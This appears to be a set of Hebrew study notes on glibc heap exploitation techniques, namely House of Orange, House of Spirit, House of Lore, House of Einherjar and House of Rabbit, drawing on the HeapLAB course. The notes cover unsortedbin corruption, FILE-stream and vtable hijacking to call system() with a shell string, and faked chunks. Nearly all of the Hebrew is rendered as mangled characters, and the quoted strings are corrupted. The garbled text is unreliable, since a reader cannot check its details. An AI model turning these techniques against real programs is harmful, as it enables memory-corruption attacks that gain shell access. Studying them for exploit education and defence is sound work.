-sHouse of Orange ˪˴ˮˬ ˢˡ˟ˣ˰ xʕ ˰"˧ ˢ˷˧˪ˠ ˪˞ s-top chunk ˧ˡ˩ ˟ˣ˸˩˪ ˪˰ ˧˟ˠ ˢˡ˷ ˪ˡˣˠˢ ˣ˪˷ ˨˶˰ 

˭˦˵ ˶˷ˣ˧ˬˢ ˪ˡˣˠ˪ ˱ˡ )˶ˬˣ˷ˢ ˪˰ ˶ˣ˷˧ˢ ,(˶˥˞˪ ˭˩ˬ ˷˵˟ˮ ˶˲˯ˬ ˪ˣˡˠ ˧ˡˬ ˪˷ ˫˧˸˟ ˨˩ ˢ˷-top chunk 

)˳ˣˣ˩˸ˢ˷ ˰ˠ˶˩ ˣ˪˧˞˩˟ (˞˪ ˪˩ˣ˧ ˸˶˷˪ ˸˞ ˢ˷˵˟ˢ .ˢˬ ˫ˣ˶ˠ˧˷ ˸˶˧˴˧˪ free chunk ˶˷ˣ˵ˬˢ ˪˞ ˨ˣ˸ s-

unsortedbin ˶˟ˣ˰ˢ ˪ˣ˪˯ˬ˟ ˪˷ ˢ˷˧˪ˠˢ. 

˟˪˷ˢ ˧ˮ˷ˢ ˵˯ˣ˰ ˱ˣˮ˧ˬ˟ ˪˷ ˠ˞˟ ˢ˷˧˪ˠˢ ˫˰˲˟ ˢ˧ˮ˷ˢ ,˫˰˲ˢ ˧ˡ˩ ˯ˣ˶ˡ˪ ˸˞ ˰˧˟˴ˬ s-bk ˨˧˧˷ˢ ˪-

top chunk ˭˷˧ˢ ˸˰˩˷ ˞˴ˬˮ ˟-unsortedbin ˪˷ s-Main arena .ˢ˯˧˶ˡ xʕ ˞˧ˢ ˪˰ ˸ˮˬ ˭ˣˣ˩˪ ˸˲˵˸ˬ 

unsortedbin ˪˰ ˰˧˟˴ˬ s-_IO_list_all ,˨˪ˣˢ˷ ˸ˣ˷˰˧ˢ˪ x˟ ˷ˣˬ˧˷ ˰"˧ ˢ˧˴˵ˮˣ˲ˢ _IO_flush_all_lockp() 

˧ˡ˩ ˰˴˟˪ flush )ˢ˟˧˸˩ ˨ˣ˸˪ ˢˮ˟ˬ FILE ˪˷ ˪˩ ˢˬ ˡˣ˰˷ ˞˪ ˵˧˲˯ˢ ˟˸˩˧ˢ˪ ˳˴ˣ˥ˬ ˢ˟˧˸˩ˢ (˪˩˪ s-

file streams ˫˧˥ˣ˸˲ˢ. 

˨˪ˢˬ˟ ˢ˟˧˸˩ˢ ˪˰ ˧˟ˠ ˢˡ˷ s-bk ˪˷ s-top chunk ˭˷˧ˢ ,˟˴ˣ˰ˬ file stream ˱˧˧ˣˤˬ ˪˰ ˧˟ˠ s-heap 

˸˶ˤ˰˟ ˢ˷˧˪ˠ ˢ˶ˣ˴˟ ˣˤ˩ ˢˡ˷˷ s-_flags ˪˷ s-FS ˱˧˧ˣˤˬˢ ˱˲ˣ˥ ˫ˣ˵˧ˬ˪ s-prev_size ˟-top chunk 

˭˷˧ˢ .ˢˡ˷ s-_mode ˪˥˸ˣ˞˧ ˨˶˰˪ ˭˦˵ x˞ ˢˣˣ˷ ˯˲˞˪ sx-_IO_write_ptr ˪˥˸ˣ˞˧ ˨˶˰˪ ˪ˣˡˠˢ ˶˸ˣ˧ 

˨˶˰ˬ ˢˡ˷ s-_IO_write_base )˫˞ ˷˶˲ˢˢ ˫ˢ˧ˮ˧˟ ˧˟ˣ˧˥ ,˭ˬ˧˯ ˷˧˷ ˰ˡ˧ˬ ˭˧˧ˡ˰˷ ˞˪ ˟˸˩ˮ .( 

˪˞ ˢˡ˷ ˰˧˟˴ˬˢ ˪-vtable ˟ˣ˸˩ˮ ˸˟ˣ˸˩ ˪˷ vtable ˸˲˧˧ˣˤˬ )˪˩˟ ˫ˣ˵˧ˬ ˞ˣˢ˷ ˣ˟˷ ˟˴˰ˬ ˢˮ˟ˬˢ ˪ˣ˩˧ 

˶ˣ˴˧˪ ˸˥˞ ˣˤ˩ (ˢ˟˷ ˸˯˧ˮ˩ s-__overflow )˰˧˟˴ˬ ˢ˧˴˵ˮˣ˲˪ ,int __overflow (FILE *f, int ch) (˱˪˥ˣ˸ 

˸˟ˣ˸˩˟ ˪˷ system() .˸ˤˣ˶˥ˬˢ άκōƛƴκǎƘ\0έ ˟˸˩˧˸ ˨ˣ˸˪ ˢˡ˷ s-_flags ˪˷ s-FS ˱˧˧ˣˤˬˢ ˢˡ˷˪ˣ 

˪ˡˣˠˢ ˪˷ s-top chunk ˭˷˧ˢ )˱˲ˣ˥ˢ ˫ˣ˵˧ˬ˟ ˢˡ˷˪ s-_IO_read_ptr ˟ˣ˸˩ˮ ˸˞ ˨˶˰ˢ 0x61. 
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˶ˣ˧˞ˢ ˞˟ˢ ˠ˧˴ˬ ˢˬˠˣˡ ˪-File stream ˱˧˧ˣˤˬ ,˫˰ ˸ˣˡ˷ ˣˮ˞˷ ˫˧˟˧˧˥ ˟ˣ˸˩˪ ˫ˢ˧˪˞ ˰˟˴˟ ˟ˣˢ˴ ˶˞˷ˣ 

˸ˣˡ˷ ˢˮ˟ˬˢ )members (˪ˣˠ˯˟: 

 

ϐ˶ˣ˧˞ мфΥ ˢˬˠˣˡ ˪πFile stream ˱˧˧ˣˤˬ Φ˨ˣ˸ˬ HeapLAB Heap Exploitation Bible, Max Kamper Σ˶ˣ˷˧˞˟ ˶˴ˣ˧ˢώ 

˶˥˞˪ ˭˩ˬ ,˷˵˟ˮ chunk ˪ˡˣˠ˟ ˢˮˣ˷ ˬ-0x60 .-stop chunk ˭˷˧ˢ ˭˧˧ˣˬ˧ ˨ˣ˸˪ s-0x60 smallbin ˨˪ˢˬ˟ 

˸˵˧˶˯ s-unsortedbin ˶˥˞ ˡˬ˰ˣˬ ˢ˞˴˵ˢ˪ ,ˢˬ ˶˶ˣ˰˧˷ ˸˞ ˸˲˵˸ˬ s-unsortedbin )˞ˣˢ ˞˴ˣˬ ˭ˬ 

ˢˬ˧˷˶ˢ (ˢ˶ˣ˸˟˷ ˟ˣ˸˩˸ ˪˰ ˧˟ˠ ˰˧˟˴ˬ s-_IO_list_all ˸˞ ˸˟ˣ˸˩ s-unsortedbin )˸˟ˣ˸˩ ˢˬ-arena .(

ˢ˵˧˶˯ˢ ˨˧˷ˬ˸ sx-"chunk "˱˲ˣ˥ˢ ˰˧˟˴ˬ˪ _IO_list_all ˪˷˩˧ ˸˵˧ˡ˟˟ ˸ˣ˧˲˷ˢ ˪˷ ˢˡ˷ ˪ˡˣˠˢ ,˨˩˟ˣ 

˞˶˵˧˸ ˢ˧˴˵ˮˣ˲ˢ abort(). 

ˢ˧˴˵ˮˣ˲ˢ abort() ˰˴˟˸ flush ˪˩˪ s-file streams )˫˧˥ˣ˸˲ˢ (˸˶ˤ˰˟ _IO_flush_all_lockp() ˶˷˞ 

˸˞˶ˣ˵ ˸˞ ˨˶˰ ˰˧˟˴ˬˢ _IO_list_all ˧ˡ˩ ˞ˣ˴ˬ˪ ˸˞ s-fs ˭ˣ˷˞˶ˢ .-sfs ˱˧˧ˣˤˬˢ ˱˲ˣ˥ˢ ˪-main arena 

)ˣˮ˥ˮ˞ ˫˴˰˟ ˫˧ˮˣ˟ ˣ˸ˣ˞ ˪˰ ˧˟ˠ s-main arena (˞˪ ˱˦˷ˮ ,˰˧˟˴ˬˣ s-_chain ˣ˪˷ )˱˲ˣ˥ˢ ˰˧˟˴ˬ˪ s-bk 

˪˷ s-0x60 smallbin (˟˵˰ˮ )˫˧ˬˡ˵˸ˬ ˢ˞˪ˢ ˢˬ˧˷˶˟ ˶˞˷˪ s-FS ˧˪ˣ˞˷ ˫˧˵ˣ˵ˤ ˪-flush (ˣˮˬˬˣ ˫˧˰˧ˠˬ 

-˪fs ˱˧˧ˣˤˬ ˶˥˞ ˪˰ ˧˟ˠ s-heap )˶ˣ˩ˤ˩ ,-smain arena ˞˴ˬˮ ˨ˣ˸˟ s-data section ˪˷ glibc ˞˪ˣ ˭ˣ˶˩ˤ˟ 

heap .(˸ˣˡ˷ s-_mode ,_IO_write_base ϧ _IO_write_ptr ˪˷ s-fs ˱˧˧ˣˤˬˢ )˧ˮ˷ˢ (˫˧˥˧˦˟ˬ ˸˯˧ˮ˩˷ 

-s__overflow ˟-vtable ˪˷ s-fs ˱˧˧ˣˤˬˢ )˧ˮ˷ˢ (˞˶˵˧˸ ˫˰ ˸˟ˣ˸˩ˢ ˪˷ s-fs ˱˧˧ˣˤˬˢ ˦ˮˬˣˠ˶˞˩ s-м 

ˢ˪˷ .˨˩ ˪˟˵ˮ ˢ˞˧˶˵ ˪-ǎȅǎǘŜƳόάōƛƴκǎƘέύ 
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˸ˣ˪˟ˠˬ 

˶˷˞˩ ˫˧˯ˮˬ ˰ˣ˟˵˪ ˫˞ˢ s-file stream ˱˧˧ˣˤˬˢ ˱˲ˣ˥ˢ ˪-main arena ˨˧˶˴ "˱˦˷˧ˢ˪ ,"˨˶˰ ˞˸ s-fd 

˪˷ s-0xb0 smallbin ˨˲ˣˢ ˪-fp->_wide_data->_IO_write_ptr ,ˢˣ-bk ˪˷ s-0xa0 smallbin ˨˲ˣˢ ˪- 

fp->_wide_data->_IO_write_base .˶˷˞˩ bins ˣ˪˞ ˫˧˵˧˶ ,ˡ˧ˬ˸ ˪˟˵ˮ ˷-->_IO_write_base ˢ˧ˢ˧ ˭˦˵ 

-ˬ->_IO_write_ptr ,ˢˬ ˶ˣ˶ˠ˧˷ ˢ˞˧˶˵ ˢ˧˴˵ˮˣ˲˪ __overflow() ˪˷ s-fs ˫˞ fp->_mode>0 .˶˷˞˩ ˢˤ 

ˢ˶ˣ˵ ,fp->_vtable ˱ˣ˲˥˧ ˪-bk ˪˷ s-0xd0 smallbin ˨˩˟ˣ ˫ˠ ˢ˯˧ˮ˩ˢ __overflow() ˟-vtable ˣ˲˥˸ ,-˪

bk ˪˷ s-0xd0 smallbin ˟-main arena ˵˧˶ .ˢˡ˧ˬ˟ ˢˡ˷ˣ s-__overflow() ˪˷ s-vtable ˞˶˵ˮ - ˪˟˵ˮ 

segfault. 

˫˞ ˢˡ˷ s-fp->_mode ˪˷ s-file stream ˨ˣ˸˟ s-main arena )˶˷˞ ˱˲ˣ˥ ˪-fd ˪˷ s-0xc0 smallbin (

˪ˣˡˠ ˬ-л ˤ˞ ˸˯˧ˮ˩ s-__overflow() ˟-vtable ˞˶˵˧˸ ˸˧ˮ˩ˣ˸ˢˣ ˱ˣ˦˥˸ segfault ˨˪ˢˬ˟ ˭ˣ˧˯˧ˮ ˸˴˶ˢ˪ 

˫˧ˮˣ˸ˮ ˫˧ˮˬˣ˯ˬˢ ˩-Non executable .˪˰ ˭˩ - ˢ˵˧ˮ˩˦ xʕ ˡˣ˟˰˸ ˵˶ ˶˷˞˩ s-dword )мс ˫˧˸˟ (˨ˣˬˮˢ 

˪˷ s-fd ˪˷ s-0xc0 smallbin ˪ˣ˩˧ ˸ˣ˧ˢ˪ ˷˶ˣ˲ˬ ˶˲˯ˬ˩ ˧˪˧˪˷ .˦˧˟ˢ ˰˟ˣ˵ˢ ˟˴ˬ ˢˤ ˭ˣ˸ˮ ˸˰˲˷ˢ˪ 

ASLR ˭˩˪ˣ ˢ˵˧ˮ˩˦ xʕ ˸ˡ˟ˣ˰ ˟ˣ˶˧˵˟ ˵˶ рл҈ ˭ˬˤˢˬ ,˸ˣ˪˸˩ ˸˟ˣ˸˩˟ ˢˮ˧˰˦ˢ ˪˷ libc ˭ˣ˶˩˧ˤ˟. 

 

House of Spirit 

ˢ˶˧˵˯ ˸˧˪˪˩ 

ˢ˶˟˰ˢ ˪˷ ˰˧˟˴ˬ ˧˸ˣ˶˧˶˷ ˪˞ ˸˧˧˴˵ˮˣ˲ free() ,˶ˣ˷˧˵ chunk ˱˧˧ˣˤˬ ˪˞ ˨ˣ˸ bin ˭˸˧ˮˢ ˢ˞˴˵ˢ˪ ˥˞"˩ . 

˫˧˦˶˲ 

˧ˢˣˤ ˢ˵˧ˮ˩˦ˢ ˢˡ˧˥˧ˢ ˞˪˷ ˸ˮ˰˷ˮ ˪˰ ˡ˥˞ ˫˧ˠ˞˟ˢˬ ˫˧˧˸˶ˠ˷ˢ ˪˷ s-heap ,˫ˣ˵ˬ˟ ˸˞ˤ ,˞˧ˢ ˸˪˴ˮˬ 

˸˞ ˷˧˥˶˸ˢ ˣ˟˷ ˶˷˲˞˸ˬ ˟˴˰ˬ˪ ˢ˲˵˸ˬˢ ˸˧˥˷ˢ˪ ˰˧˟˴ˬ ˶˟˰ˣˬ˷ ˶˥˞˪ ˭˩ˬ ˪-free() ˦ˮˬˣˠ˶˞˩. 

"˧˰ ˸˶˟˰ˢ ˰˧˟˴ˬ ˪-chunk ˱˧˧ˣˤˬ ˪˞ free() ,-schunk ˱˧˧ˣˤˬˢ ˪ˣ˩˧ ˸ˣ˧ˢ˪ ˢ˴˵ˣˬ ˨˩˟ˣ ˪˩ˣˮ ˟ˣ˸˩˪ ˪˰ 

˧˟ˠ ˰ˡ˧ˬ ˷˧ˠ˶ .-schunk ˱˧˧ˣˤˬˢ ˟˧˧˥ ˸ˣ˧ˢ˪ ˫˰ ˢˡ˷ ˪ˡˣˠ ˫˧˞˸ˬ ˢ˶˵ˬ˟ˣ ˪˷ fast chunk ˞ˣˢ ˟˧˧˥ 

˪˷-chunk ˟˵ˣ˰ˢ )˞˟ˢ (ˢ˧ˢ˧ ˢˡ˷ ˪ˡˣˠ ˫˧˧˵˧˷ ˸˞ ˧˧˞ˮ˸ ˸ˣ˵˧ˡ˟ ˸ˣ˧˲˷ˢ ˪˰ ˪ˡˣˠˢ )˫˞ˢ ˞˴ˬˮ ˥ˣˣ˦˟ 

˫˧˩˶˰( ,˶ˬˣ˪˩ ˟˴˰ˬˢ˷ ˟˧˧˥ ˦ˣ˪˷˪ ˸ˣ˥˲˪˟ ˧ˮ˷  quadwords˫ˢ˧ˮ˧˟˷ ˞˴ˬˮ s-target data )˭˩˧ˢ ˣˮ˞˷ 

˫˧˧ˮˣ˰ˬ ˟ˣ˸˩˪( 

ˢ˶˵ˬ˟ ˪˷ small chunk ,˫˧˟˧˧˥ ˸ˣ˧ˢ˪ ˣˮ˪ ˧ˮ˷ ˸ˣˡ˷ ˪ˡˣˠ "˫˧˟ˮˡˤˬ) "˱ˣ˯˟ ˧ˮ˷ s-chunks ˫˧˟˵ˣ˰ˢ (

˧ˡ˩ ˥˧˦˟ˢ˪ ˞˪˷ ˰˴˟˸˧ ˭ˣ˧˯˧ˮ ˡˣ˥˧˞˪ ˧ˬˡ˵ .fencepost chunks ˣ˷˰˧ ˸˞ ˢˡˣ˟˰ˢ .˪˷˟ ˨˩ ,˟˴˰ˬˢ 

˷˶ˡˮ ˦ˣ˪˷˪ ˸ˣ˥˲˪˟ ˢ˷ˣ˪˷ quardwords ˟˧˟˯ˬ ˪-target data ˢ˶˵ˬ˟ ˢˤ. 
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˫˧˷ˣˬ˧˷ ˫˧˲˯ˣˮ 

˶˷˞˩ ˢ˵˧ˮ˩˦ ˸˟˪ˣ˷ˬ ˫˰ ˸ˠ˪ˤˢ ˸˟ˣ˸˩ ˪˷ s-heap ,˶˷˲˞ ˷ˬ˸˷ˢ˪ ˢ˟ ˧ˡ˩ ˫ˣ˶ˠ˪ ˸˪˰˲ˢ˪ double 

free - ˢˬ ˪ˣ˩˧˷ ˸˸˪ ˣˮ˪ ˟˧˦˧ˬ˧˶˲ ˵ˤ˥ ˶˸ˣ˧. 

˸ˣ˪˟ˠˬ 

˫˞ ˪ˠˡ ˱˴˶ˢ )contiguity (˪˷ arena ˵ˣ˪ˡ ,small chunk ˫˧˲˧˧ˣˤˬ ˫˧˟˧˧˥ ˞˴ˬ˧ˢ˪ ˸˟ˣ˸˩˟ ˢ˩ˣˬˮ ˶˸ˣ˧ 

˶˷˞ˬ xʕ ˪˷ s-heap ˪˷ s-thread ˫ˢ˪˷ .˳ˣ˪˧˞ ˢˤ ˞˪ ˱˵˸ ˪-fast chunks ˫˧˲˧˧ˣˤˬ .Chunks ˫˧˲˧˧ˣˤˬ 

˫˧˟˧˧˥ ˶ˣ˟˰˪ ˸˵˧ˡ˟ ˶ˣ˷˧˧ ˸˞ˡˣˣˬˢ ˞˪ ˵˶ ˫ˢ˷ ˫˧˶˷ˣ˧ˬ ˧˲˪ мс ˫˧˸˟ ,˞˪˞ ˫ˠ ˦˧˟ˢ˷ LSB s-п 

ˢˡ˷˟ ˪ˡˣˠˢ ˫ˢ˪˷ ˯˲ˣ˞ˬ. 

Chunks ˫˧˲˧˧ˣˤˬ ˫˧˟˧˧˥ ˰ˮˬ˧ˢ˪ ˨˩ˬ ˫˧˦˧˟ˢ˷ NON_MAIN_ARENA x-IS_MMAPED ˫ˢ˪˷ ˣ˧ˢ˧ 

˫˧˵ˣ˪ˡ ,ˢ˶˵ˬ˟ ˪˷ ˭ˣ˷˞˶ˢ - free() ˷˲˥˸ arena ˣˮˮ˧˞˷ ˫˧˧˵ ˢ˞˶ˮ˩ˣ ˪˟˵˸˧ segfault ˨˪ˢˬ˟ ˢ˪ˣ˰˲ 

ˣˤ ,ˢ˶˵ˬ˟ˣ ˪˷ ˧ˮ˷ˢ - ˰˴ˣ˟˧ unmap() ˪˰ s-chunk ˱˧˧ˣˤˬˢ ˫ˣ˵ˬ˟ free. 

 

House of Lore 

ˢ˶˧˵˯ ˸˧˪˪˩ 

˶ˣ˷˧˵ chunk ˱˧˧ˣˤˬ ˪˞ s-unsortedbin ,-ssmallbins x˞ s-largebins ˰"˧ ˧ˣˮ˧˷ metadata ˪˷ malloc. 

˫˧˦˶˲ 

˶ˣ˷˧˵ ˪˷ chunk ˱˧˧ˣˤˬ ˪˞ ˨ˣ˸ s-unsortedbin ˪ˣ˵˷ ˭ˣˣ˩˪˪ ˸˲˵˸ˬ˪ unsortedbin ˪˰ chunk ˱˧˧ˣˤˬ 

"˧˰ ˸˯˧˶ˡ ˭˩ˣ˸ s-bk ˪˷ s-unsortedbin ˫˰ ˸˟ˣ˸˩ s-chunk ˱˧˧ˣˤˬˢ .-˪chunk ˱˧˧ˣˤˬˢ ˟˧˧˥ ˸ˣ˧ˢ˪ bk 

˰˧˟˴ˬ˷ ˸˟ˣ˸˩˪ ˸ˮ˸˧ˮˢ ˢ˟˧˸˩˪ .-schunk ˱˧˧ˣˤˬˢ ˪ˣ˩˧ ˸ˣ˧ˢ˪ ˢ˴˵ˣˬ ˸ˣ˶˧˷˧ ˢˬ-unsortedbin ,˫˞ ˧˩ 

ˢˡ˷ ˪ˡˣˠˢ ˣ˪˷ ˟˧˧˥ ˫˧˞˸ˢ˪ ˪ˡˣˠ˪ ˢ˷˵˟ˢ ˟˧˧˥ˣ ˸ˣ˧ˢ˪ ˢˮˣ˷ ˢˤˬ ˪˷ s-chunk ˫˰ s-bk ˸˥˷ˣˢ˷. 

˶ˣ˷˧˵ ˪˷ chunk ˱˧˧ˣˤˬ ˪˞ ˨ˣ˸ s-smallbin ˟˧˧˥ˬ ˢ˯˧˶ˡ ˪˷ ˨˶˰ s-bk ˪˷ chunk ˶˷ˣ˵ˬˢ ˪˞ ˨ˣ˸ s-

smallbin )˞˶˵ˮ x˪ small chunk (˫˰ ˸˟ˣ˸˩ s-chunk ˱˧˧ˣˤˬˢ ˧˩ˣ ˥˧˦˟ˮ ˷-victim->bk->fd ҐҐ victim 

˧ˡ˩ ˶ˣ˟˰˪ ˸˞ ˢ˸ˣ˞ ˢ˵˧ˡ˟ˢ ˰"˧ ˢ˟˧˸˩ ˪˷ ˸˟ˣ˸˩ ˪˷ s-victim )s-small chunk (˪˞ ˨ˣ˸ s-fd ˪˷ s-

chunk ˱˧˧ˣˤˬˢ ˧ˮ˲˪ ˢ˷-small chunk ˢ˴˵ˣˬ .˰ˠ˶ˬ ˢ˷-small chunk ˢ˴˵ˣˬ ,-schunk ˱˧˧ˣˤˬˢ ˟˧˧˥ ˫ˠ 

˞ˣˢ ˶ˣ˟˰˪ ˸˞ ˢ˸ˣ˞ ˢ˵˧ˡ˟ˢ ,˶˷˲˞ ˠ˧˷ˢ˪ ˸˞ˤ ˰"˧ ˨˩ ˫ˣ˶ˠˮ˷ ˪-fd ˪x-bk ˣ˪˷ ˰˧˟˴ˢ˪ ˪˰ ˣˬ˴˰ .

˫˧˷˧˥˶˸˟ ˫ˢ˟ ˞˪ ˭˸˧ˮ ˨ˣ˶˰˪ ˸˞ s-chunk ˱˧˧ˣˤˬˢ ˶˥˞˪ ˢ˷-small chunk ˢ˴˵ˣˢ ,˭˸˧ˮ ˷ˬ˸˷ˢ˪ ˟-

chunk ˱˧˧ˣˤˬ ˧ˮ˷ ,˫˞ ˧˩ ˵˶ quadword ˡ˥˞ ˳ˣ˥ˮ ˧ˡ˩ ˵˧ˤ˥ˢ˪ fd ˱˧˧ˣˤˬ .˫˞ ˫ˣ˶ˠˮ ˪-fd ˪˷ chunk 

˱˧˧ˣˤˬ ˢˤ )˧ˮ˷ˢ (˰˧˟˴ˢ˪ ˪˰ s-chunk ˱˧˧ˣˤˬˢ ˧˶˵˧˰ˢ )˭ˣ˷˞˶ˢ ,(˪ˣ-bk ˪˷ s-chunk ˱˧˧ˣˤˬˢ ˧˶˵˧˰ˢ 

˰˧˟˴ˢ˪ ˪˰ s-chunk ˱˧˧ˣˤˬˢ ˧ˮ˷ˢ - ˫˧˧˵ˮ ˸˞ ˧˞ˮ˸ ˢ˵˧ˡ˟ˢ .˪ˡˣˠˢ ˪˷ s-chunk ˱˧˧ˣˤˬˢ ˞˪ ˧˦ˮˣˣ˪˶ 

˫ˣ˷ˬ ˞ˣˢ˷ ˞˪ ˵ˡ˟ˮ ˨˧˪ˢ˸˟ ˢˤ . 
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˨˶ˡˢ ˢ˪˵ˢ ˶˸ˣ˧˟ ˧ˡ˩ ˶˷˵˪ chunk ˱˧˧ˣˤˬ ˪˞ ˨ˣ˸ largebin ˢ˩ˣ˶˩ ˸˯˧˶ˡ˟ s-fd ˪˷ skip chunk )ˢˤ˩ 

˪˩ˣˬ˷ ˸ˬ˧˷˶˟ ˫˧ˠˣ˪˧ˡˢ (˫˰ ˸˟ˣ˸˩ˢ ˪˷ chunk ˱˧˧ˣˤˬ ˸ˮ˩ˢˣ s-fd sx-bk ˪˷ s-chunk ˱˧˧ˣˤˬˢ ˨˩ 

ˣˬ˧˧˵˧˷ ˸˞ ˸ˣ˵˧ˡ˟ s-safe unlinking .-schunk ˱˧˧ˣˤˬˢ ˟˧˧˥ ˸ˣ˧ˢ˪ ˫˰ ˣ˸ˣ˞ ˢˡ˷ ˪ˡˣˠ ˣˬ˩ ˪˷ s-skip 

chunk ,ˢˣ-skip chunk ˟˧˧˥ ˢ˧ˢ˧˷ ˱˯ˣˮ˟ ˣ˧˪˞ ˡˣ˰ chunk ˪ˡˣˠ˟ ˢˢˤ x˞ ˭˦˵ ˣˮˬˬ ˞˴ˬˮˢ ˣ˸ˣ˞˟ 

largebin ˡ˥˧ ˣ˸˧˞ ,˸˞ˤˣ ˧˩ malloc ˞˪ ˵ˣˡ˟˧ ˸˞ "˸ˣˮ˧ˬ˞ "-schunk ˰˟˴ˣˬˢ ˰"˧ s-fd ˪˷ s-skip 

chunk ˢˡ˧ˬ˟ sx-skip chunk ˞˴ˬˮ ˟-bin ˭ˣ˶˥˞ˢ .˭˸˧ˮ ˟˴˰˪ ˷˞˶ˬ ˸˞ s-fd sx-bk ˪˷ s-chunk 

˱˧˧ˣˤˬˢ ˨˩ ˣˬ˧˧˵˧˷ ˸˞ ˸ˣ˵˧ˡ˟ s-safe unlinking ˫˞ ˫ˢ˧ˮ˷ ˣ˰˧˟˴˧ ˪˰ s-chunk ˱˧˧ˣˤˬˢ 

˸ˣ˪˟ˠˬ 

˸ˣˬ˩ˢ ˫ˣ˵˧ˬˢˣ ˵˧˧ˣˡˬˢ ˪˷ ˭ˣ˶˩˧ˤ ˷˶ˡˮˢ ˢ˧ˢ˧˷ ˣˮ˦˧˪˷˟˷ ˧ˡ˩ ˸ˣˮ˟˪ small chunks x-large chunks 

˫˧˲˧˧ˣˤˬ ˪ˣ˩˧ ˨ˣ˲ˢ˪ ˢ˵˧ˮ˩˦ xʕ ˢ˷˵˪ ˷ˣˬ˧ˬ˪ ˡˠˮ˩ ˫˸ˣ˞ bins. 

 

House of Einherjar 

ˢ˶˧˵˯ ˸˧˪˪˩ 

˯ˣ˲˧˞ ˪˷ ˦˧˟ s-PREV_INUSE ˪˷ chunk ˡˣ˥˧˞ˣ ˧˶ˣ˥˞ ˣ˪˷ ˫˰ chunk ˱˧˧ˣˤˬ x˞ ˫˰ chunk free ˫˧˧˵ 

˧ˡ˩ ˶ˣ˴˧˪ ˢ˲˧˲˥ ˭˧˟ chunks. 

˫˧˦˶˲ 

ˢ˵˧ˮ˩˦ xʕ ˢˠ˴ˣˢ ˶ˣ˵ˬ˟ ˢ˵˧ˮ˩˦˩ ˠˣ˯ˬ ˢ˷˧˪ˠ ˪˷ null-byte ˡ˧˥˧ ,˨˞ ˣˢˤ ˞˪ ˫ˣ˷˧˧ˢ ˧˩ˢ ˧˪˞˧˶ ˢ˪˷ .

˞˧ˢ ˢ˥˧ˮˬ ˢ˷˧˪ˠˢ˷ ˢ˪ˣ˩˧ ˯˲˞˪ ˸˞ ˦˧˟ s-PREV_INUSE ˪˷ s-victim chunk ˨ˣ˸ ˧ˡ˩ ˢ˦˧˪˷ ˢˡ˷˟ 

-sprev_size ˣ˪˷ .ˢˡ˷ s-prev_size ˪˷ s-victim ˯˪˩ˣ˞ˬ ˢ˶ˣ˴˟ ˣˤ˩ ˶˷˞˩˷ s-victim ˶˶˥ˣ˷ˬ ,˞ˣˢ 

ˡ˥ˣ˞˧ ˸˧˶ˣ˥˞ ˫˰ chunk ˱˧˧ˣˤˬ ˞˴ˬˮˢ ˪˰ s-heap x˞ ˫ˣ˵ˬ˟ ˶˥˞ .ˢ˶˵ˬ˟ ˢˤ ,˸ˣ˞˴˵ˢ ˸ˣ˧˸ˣ˶˧˶˷ 

˸ˣ˪ˣ˩˧ ˸ˣ˷˰˧ˢ˪ ˨ˣ˸ˬ s-chunk ˱˧˧ˣˤˬˢ ˣ˪˞ˣ ˸ˣ˪ˣ˩˧ ˷ˬ˷˪ ˧ˡ˩ ˞ˣ˶˵˪ x˞ ˟ˣ˸˩˪ ˰ˡ˧ˬ ˷˧ˠ˶. 

 
ϐ˶ˣ˧˞ нлΥ House of Einherjar Φ˨ˣ˸ˬ HeapLAB Heap Exploitation Bible, Max Kamper Σ˶ˣ˷˧˞˟ ˶˴ˣ˧ˢώ 

https://www.anquanke.com/post/id/183877
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˫˧˷ˣˬ˧˷ ˫˧˲˯ˣˮ 

˭˸˧ˮ ˫ˠ ˰˴˟˪ ˡˣ˥˧˞ ˫˰ free chunks ˫˧˧ˬ˧˦˧ˠ˪ ˫˧˞˴ˬˮˢ ˟-heap ,˨˩˟ˣ ˶ˣ˴˧˪ ˢ˲˧˲˥ ˭˧˟ chunks ˧ˡ˩ 

˸ˣˮ˟˪ primitive ˵ˤ˥ ˶˸ˣ˧: 

 

ϐ˶ˣ˧˞ нмΥ House of Einherjar ˠ˶ˡˣ˷ˬ. ˨ˣ˸ˬ HeapLAB Heap Exploitation Bible, Max Kamper, ˶ˣ˷˧˞˟ ˶˴ˣ˧ˢώ 

 

˸ˣ˪˟ˠˬ 

ˢ˯˶ˠ˟ н.нс ˪˷ glibc ˢˠ˴ˣˢ ˢ˵˧ˡ˟ ˪˷ size ˸ˬˣ˰˪ prev_size ˸˷˶ˣˡˢ ˟˴˰ˬˢˬ ˭˧˩ˢ˪ ˢˡ˷ ˪ˡˣˠ 

˫˧˞˸ˬ ˶ˣ˟˰ s-chunk ˱˧˧ˣˤˬˢ ˣ˪˷. 
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House of Rabbit )Shimizu Yutaro - ά{ƘƛŦǘ-/ǊƻǇǎέ ŦǊƻƳ ¢ƻƪȅƻWesterns( 

ˢ˶˧˵˯ ˸˧˪˪˩ 

˸ˠ˷ˢ primitive ˢˬˣˡˢ ˢˤ˪ ˪˷ House of Force ˰"˧ ˶ˣ˷˧˵ ˪˷ chunk ˱˧˧ˣˤˬ ˪˞ ˨ˣ˸ s-largebin ˧˩ˢ 

˪ˣˡˠ ˸˶ˡˠˢˣ ˢˡ˷ ˪ˡˣˠˢ ˣ˪˷ ˨˶˰˪ ˪ˣˡˠ ˡˣ˞ˬ .˫˷ˢ ˪˷ ˢ˵˧ˮ˩˦ xʕ ˶˥˟ˮ ˨˩ ˫ˣ˷ˬ ˣˮ˞˷ "˫˧˴˧˲˵ˬ "˸˞ 

-schunk ˭˧˟ bins ˫˧ˮˣ˷ ˨˶ˣ˴˪ ˸ˠ˷ˢ ˢ˶˦ˬˢ. 

˫˧˦˶˲ 

˱ˣˮ˧ˬ ˪˷ ˠ˞˟ ˟-heap ˧ˡ˩ ˶˷˵˪ chunk ˱˧˧ˣˤˬ ˪˞ ˨ˣ˸ fastbin ,-schunk ˱˧˧ˣˤˬˢ ˪˪ˣ˩ ˧ˮ˷ ˸ˣˡ˷ ˪ˡˣˠ :

ˡ˥˞ ˨˧˧˷ ˪-chunk ˱˧˧ˣˤˬˢ ˣˬ˴˰ ˶˥˞ˢˣ ˨˧˧˷ ˢˤ˪ ˪˷ s-chunk ˟˵ˣ˰ˢ .ˡ˥˧ ˫˰ ˸˞ˤ ,ˢˡ˷ ˪ˡˣˠˢ ˪˷ 

-schunk ˟˵ˣ˰ˢ ˫˵ˣˬˬ 0x10 ˫˧˸˟ ˧ˮ˲˪ ˢˡ˷ ˪ˡˣˠˢ ˪˷ s-chunk ˱˧˧ˣˤˬˢ . 

